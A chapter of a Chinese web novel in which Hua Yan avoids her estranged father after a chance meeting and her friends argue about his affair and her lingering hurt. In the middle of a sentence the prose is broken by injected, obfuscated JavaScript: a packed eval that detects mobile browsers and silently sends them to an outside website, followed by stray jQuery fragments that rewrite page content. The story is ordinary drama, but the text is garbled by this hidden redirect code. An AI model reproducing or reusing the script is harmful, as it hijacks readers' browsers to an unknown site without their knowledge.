第二天上班时间,花言偷偷从后门溜出去,躲在无人的角落里给向怀谦打电话。
“哎呀你已经起了?这么早就起啦。真好,我还担心吵醒你呢。啊,你都没有宿醉吗?”
“我昨晚没喝酒啊。是我开车带你回家的,你不记得了吗?”
说到这个,关于昨晚的记忆……虽然打电话就是为了这事,但事到临头,花言突然心虚。
对面追问:“你还记得昨晚的事情吗?”
花言没办法了,只能硬着头皮回答。
“记不太清了……我没干啥丢人的事吧?”
手机里一阵沉默,然后传来一阵低沉的笑声。
“没有。你只是有点迷糊,其他都很正常。”
“真的吗?哎呀,你不用顾虑我面子啦,我要是干了啥,你直说就行。”
对面笑个不停:“真的没有。你以前喝醉之后都干过什么?”
“哈哈哈哈……那可太多了。你家附近有座土地庙,你进去过吗?”
“这倒没有,不过经过门口好几次。”
“无所谓啦,总之,大概是前年吧,我喝醉之后进了土地庙,爬上供桌,抱着土地爷合影来着。你要看照片吗?你要是保证不会笑,我就传给你看。”
“我一定会笑的。但是我想看。”
花言一时无言以答。
“你经常喝醉吗?”
花言嗷嗷辩解:“没有啊!我很少喝酒。我可是公务员,三天两头闯祸可不行。”
她连连叹气,“我其实蛮喜欢喝酒的。我好像天赋异禀哦,对酒精反应特别好。别人喝了酒会脸皮发烫,恶心呕吐之类的,我不会,我就是飘飘欲仙,特别开心。那种微醺的感觉,我真的好喜欢。可惜……唉,凡事总有两面吧。”
“以后和我一起喝吧。你可以放心喝醉。我会照看你,在你闯祸之前阻止你。”
“哎呀,那怎么好意思。”
“你真的会不好意思吗?”
花言哼唧,“多少还是有一点的啦!”
她哈哈哈笑开,“那就说好了哦,以后一起喝酒。真好,我就知道你是个好人!”
花言挂掉电话,心满意足。
等到午休时间,她第一时间冲出单位,在路口和李思汇合,两个人一起去了新开的西北菜餐厅。
这家餐厅是突然红起来的品牌,新店开了无数,每家都异常火爆。若是遇到节假日,等位时间往往超过两小时。
还好今天是工作日,又是中午,两个人顺利地直接进入店里。
花言翻着菜单,提前打预防针:“根据我的经验,这种网红店,味道肯定中规中矩,不会有什么特别出色的地方。”
李思哼了一声,“但不管怎么样,你总是要亲自来尝一次的。”
花言嘿嘿笑:“那是当然的。”
菜品上齐,花言仔细品尝,无言以答。
“虽然我没有什么期待……但是竟然如此乏善可陈……和预想的味道不说一模一样,简直是毫无差池。”
李思哈哈大笑。
花言无奈:“有什么好笑的啦。”
视野的角落里,一闪而过什么东西。
心里一哆嗦,竟然不敢去确认。
但是终究……
花言慢慢转动脖颈,去看侧后方的一张桌子。
那是一张四人桌,一共坐了三个人。
一个目测四十多岁的男人,高大英俊,浓绿色灯芯绒外套显得他格外精神昂扬。
一个看着年长几岁的女人,相貌一般,视线时刻落在男人身上,细长的眼睛里流露出她那个年纪少见的热情和爱意。
一个大约初中年纪的小女孩,头上戴着一个浮夸的宝石王冠,身上是层层叠叠的纱裙。她看起来很灵活调皮,小嘴吧吧吧吧不停说着话,饭都顾不上吃。
多么优渥幸福、快乐融洽的一家人啊。
花言压低声音:“你吃完了吗?吃完我们结账吧。”
李思:?
她看了一眼桌上刚受到皮毛伤的四道菜,眨眨眼,“怎么啦?你哪里不舒服吗?”
花言含混不清道:“嗯,肚子里怪怪的。这菜实在是不好吃,别吃了,我们去别家吃吧。”
李思睁大眼睛:“你肚子不舒服?有多不舒服?严重吗?该不会是食物中毒吧。等一下,我叫经理过来。”
花言慌忙阻止:“等一下,别——”
说话间,她余光扫到侧后方,那个男人转过头来,眼神落在这边。
她一个激灵,猛地站起来,落荒而逃。
李思大吃一惊,来不及阻止,想要追,又怕被当成吃霸王餐,一时不知所措。
就在这时,侧面走过来一个男人。
他一脸惊喜:“思思?是思思吗?真是女大十八变,叔叔都不敢认了!”
李思看着面前这个高大英俊、衣着不凡的男人,不敢相信自己的眼睛。
“花……叔叔?”
傍晚时分,李思在街道办事处的大门口守株待兔。
花言从走廊里出来,隔着大厅看到李思,转身就想跑。
李思大叫:“你要跑去哪里?跑得了和尚跑不了庙!”
花言:……
她只能磨磨蹭蹭走过去。
李思面色凝重:“花叔叔说,想约你吃饭。”
花言低着头,小脸皱成苦瓜,脚在地上一下下蹭着。
李思歪头去看好友的脸:“不想去吗?”
花言一味扭着头,不说话。
李思挠挠脸,“我觉得你还是去一下吧。”
身后响起一道惊讶声音:“花叔叔是谁?天啊,不会是你那个亲爸爸吧?他要找你吃饭?”
花言吓得一蹿,回头一看,竟然是田梦。
原本只想赶快回家,打扫卫生然后洗澡,点起香薰,沉浸到自己喜欢的电视剧里。
结果呢……莫名其妙变成了三人高峰会议。
披萨店,角落卡座里,田梦一脸震惊。
“什么?你偶遇你爸爸,因为不想和他说话,所以掉头就跑?”
“什么?不止这一次?这种事情发生过好几次?”
“我的妈呀,我还以为你这人挺轴,没想到你不是挺轴,你是超级无敌轴啊!”
花言一抻脖子,把满满一口披萨咽下去。
“关你什么事啊?明是我和思思商量事情,你跑来凑什么热闹?”
田梦一挥手:“说什么傻话呢,她只是你朋友,我可是你姐姐!再说了,你是要和她商量事情吗?我看你只是想逃跑了事呢。”
花言:……
无法否认。
她撇开眼神,默默继续啃披萨。
李思搓搓手,试探道:“我觉得啊,看花叔叔说话的样子,他是很想跟你和好的……他心里还是有你的。哎,你记得吗,小时候我们都好羡慕你呢。放学的时候,别人家都是妈妈过来接,你却经常是爸爸来接。你爸爸还那么帅气……哎呀,就别提多受欢迎了。”
田梦插嘴:“受别的妈妈欢迎吗?”
李思沉默。
花言冷笑,“不是别的妈妈,是别的大姨。”
是的,花言爸爸的现任老婆,是当年隔壁班某同学的大姨。
传说中,这位女士因为眼光过高,把自己姻缘给耽误了,一把年纪了还是孤家寡人。
某一天,她帮自家妹妹接孩子,竟然在学校对某位
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628979|170620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
男家长一见钟情。
她才不管那位男家长有家有室,一顿猛追,然后……就真的追到了。
男家长抛妻弃子,和这位热情如火的女士终成眷属。
这件事,一度成为当地传奇故事,无人不知,无人不晓。
李思赶紧把话题扭回来。
“你还记得吗……有一次我们在公园玩,你从假山上掉下来,额头和手肘都擦破了……我记得好清楚啊,你哇哇大哭,我害怕得要命,这个时候,你爸爸从远处跑来,跑得那么快,那么急,他跑过来,一把抱起你就往诊所跑……像一个英雄一样……”
花言不说话。
怎么会不记得?
怎么可能不记得?
那个时候,她那么害怕,伤口那么痛,她几乎以为自己要死了。
被爸爸抄起来抱在怀里的一瞬间,她全身都放松了。
啊,没事了,不会死了。
她曾经那样百分百地信任他。
李思还在絮絮叨叨:“我跟你说过的吧,其实我爸爸也曾经有过一段。我知道,我妈也知道,虽然我们从来没有公开说过这事吧,但是……我知道我妈知道,我妈知道我知道,我爸也知道我跟我妈都知道。以前他还有点脾气,时不时摆一下一家之主的架子,那件事之后他就变得很心虚,在家里表现比以前好多了……”
“男的都是这样,虽然经不住诱惑,但多少还是有点羞耻之心……你爸爸肯定也是的,他肯是觉得对不起你的……”
“唉,我也不是说要你立刻原谅他,只是……一个女孩子在外面闯荡也挺不容易的,多一个疼爱你的人不好吗?”
花言秒答:“我不需要。”
李思:……
田梦冷笑,“我们阿言才不是气爸爸出轨,她气的是,她最爱的爸爸,没有想象中那么爱她。她只不过是吵闹几次,亲爱的爸爸竟然就拍拍屁股转身走人了,从此把她抛在脑后,过起了没有她的幸福新生活。”
花言大叫:“你闭嘴吧!没人问你!”
店堂里的其他客人嗖的一下转过头来。
花言往卡座深处躲去,不说话了。
田梦身体前倾,一脸推心置腹。
“这事儿从头到尾太合情合理了。”
“当初呢,你爸爸出轨的当下,肯定是超心虚,不敢面对你们母女两的。这个时候,你们宽容,他就会内疚,你们吵闹,他就会心烦,为了清净,就会躲到小三那边去,毕竟小三那边没有吵闹,全是柔情蜜意。”
“好了,你们亲手把他推到小三那边去了。人就是越相处,感情越深的。小三成了和他朝夕相处的人,自然也就成了他心里更亲密的人。再然后,新的小孩降生人世,好了,人家彻彻底底变成一个新家庭了。”
“而你呢,这么多年,一直一个人生闷气,怀念着某个梦幻泡影。醒醒吧,你脑子里那个完美爸爸,从来不曾存在过!”
花言紧紧捂着脸,手指很快濡湿。
李思生气了,用力一推田梦肩膀,“你在说什么鬼话?丈夫和父亲对家庭不忠,生气吵闹才是天经地义的吧?哈!宽容?你说宽容?你是清朝来的吗?”
田梦翻了个白眼:“我又没说她们不该生气。我只是分析她爸爸的心理而已。”
她看着花言的头顶,冷淡道:“重点是,现在痛苦的人是谁?是你啊。”
“不管你怎么恨他,你也斩断不了血脉。你这么痛苦,就是因为在乎他。”
李思说不出话了。
田梦看着这个没有血缘的妹妹,叹气。
“我也算知道你的性格。你啊,心里留着一个大疙瘩,永远解不开的。”
李思急了:“那你说怎么办?”